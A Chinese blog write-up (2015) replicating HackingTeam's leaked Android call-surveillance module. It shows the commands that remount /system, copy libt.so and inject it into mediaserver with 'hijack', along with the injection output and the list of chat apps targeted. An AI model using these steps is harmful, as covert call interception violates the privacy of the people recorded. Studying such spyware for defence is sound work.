您的位置:首页 > 移动开发 > Android开发

【移动安全】HacktingTeam Android语音监控实践及分析

2015-07-28 18:02 766 查看
1、查看Android语音监控我们可以发现,目前可以实现对7款语音聊天软件进行监控,Hangouts、palchat、skype、viber、wechat、whatsapp、zeno

2、网上下载的源代码中包含pack目录,其下为编译好的libtc.so和hijack及shell脚本,实验时需要确保手机具有Root权限

3、注入原理主要是利用hijack(开源工具)将libt.so库(自研工具)注入到各个语音聊天进程中或直接注入mediaserver进程中,如微信的语音聊天进程为com.tencent.mm,然后利用注入的so中的语音处理函数对系统语音函数进行替换,实现劫持并保存想要的语音数据。

实验过程:android4.2微信最新版本举例

readme.txt内容如下:

1] cp libt.so in /system/lib/

2] ./setup_log.sh (pialla i log e restituisce il pid di mediaserver)

3] ./instrument.sh pid di mediaserver

output:

- log, log testuali

- log_in, dump mic

- log_out, dump speaker

查看进程:

#ps | grep -v system找到微信的进程号为22357,本次不对此进程进行注入,直接对mediaserver进程注入

u0_a158   22212 208   870924 41292 ffffffff 40232004 S com.qihoo.appstore

u0_a188   22357 208   1166680 87884 ffffffff 40232004 S com.tencent.mm

u0_a15    22423 208   856124 28620 ffffffff 40232004 S com.sec.android.provider

badge

u0_a188   22491 208   907760 48224 ffffffff 40232004 S com.tencent.mm:tools

#cp libt.so /system/lib

#sh ./setup_log.sh

实际脚本内容如下:删除原有程序启动监控后生成的文件

rm log 

touch log

rm log_in 

touch log_in 

rm log_out 

touch log_out 

ps | grep mediaserver

root@android:/sdcard/pack # sh ./instrument.sh 22357

sh ./instrument.sh 22357 di mediaserver

Too many memory mapping

cannot read memory map

can't find address of mprotect(), error!

1|root@android:/sdcard/pack # sh ./instrument.sh 22357

sh ./instrument.sh 22357 di mediaserver

Too many memory mapping

cannot read memory map

can't find address of mprotect(), error!

1|root@android:/sdcard/pack #

无法注入微信进程,改为注入mediaserver

1|root@android:/mnt/shell/emulated/0/pack # cp libt.so /system/lib/

cp libt.so /system/lib/

cp: /system/lib/libt.so: Read-only file system

1|root@android:/mnt/shell/emulated/0/pack # mount -o rw,remount /system

mount -o rw,remount /system

root@android:/mnt/shell/emulated/0/pack # cp libt.so /system/lib/

cp libt.so /system/lib/

root@android:/mnt/shell/emulated/0/pack #

root@android:/mnt/shell/emulated/0/pack # ./setup_log.sh

./setup_log.sh

k_shell/2000:6229: ./setup_log.sh: can't execute: Permission denied

126|root@android:/mnt/shell/emulated/0/pack # sh ./setup_log.sh

sh ./setup_log.sh

media     211   1     102200 16432 ffffffff 4026d108 S /system/bin/mediaserver

root@android:/mnt/shell/emulated/0/pack # sh ./instrument.sh 211

sh ./instrument.sh 211

mprotect: 0x4026d038

dlopen: 0x400db0d1

pc=4026d104 lr=40280ab9 sp=beffb900 fp=beffb9cc

r0=3 r1=c0186201

r2=beffb920 r3=beffb91c

stack: 0xbefdb000-0xbeffc000 leng = 135168

executing injection code at 0xbeffb8b0

library injection completed!

root@android:/mnt/shell/emulated/0/pack #

接下来即可查看日志和生成的语音文件信息。

下面是代码中支持的可以监控的软件列表

const char *pid_name[]={
"com.skype.raider",
"com.viber.voip",
"com.whatsapp",
"com.tencent.mm",
"com.facebook.",
"jp.naver.line.android",
"com.google.android.talk"
"/system/bin/mediaserver",
"unknown"

};

附件:

android上的多媒体服务是有一个叫做mediaserver的服务进程提供的。这个进程通过binder的进程间通信方式来完成其他进程(如音乐播放器)的请求。

mediaserver服务器进程的实现代码在/frameworks/base/media/mediaserver目录下,代码很小。

也就是说,在启动系统的时候,mediaserver会启动,这样也会随之添加了服 务:media.audio_flinger, media.player, media.camera, media.audio_policy。

这些服务会响应来自上层的MediaPlayer的服务请求,主要有声音播放,多 媒体文件的播放,摄像头操作,音频管理等。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: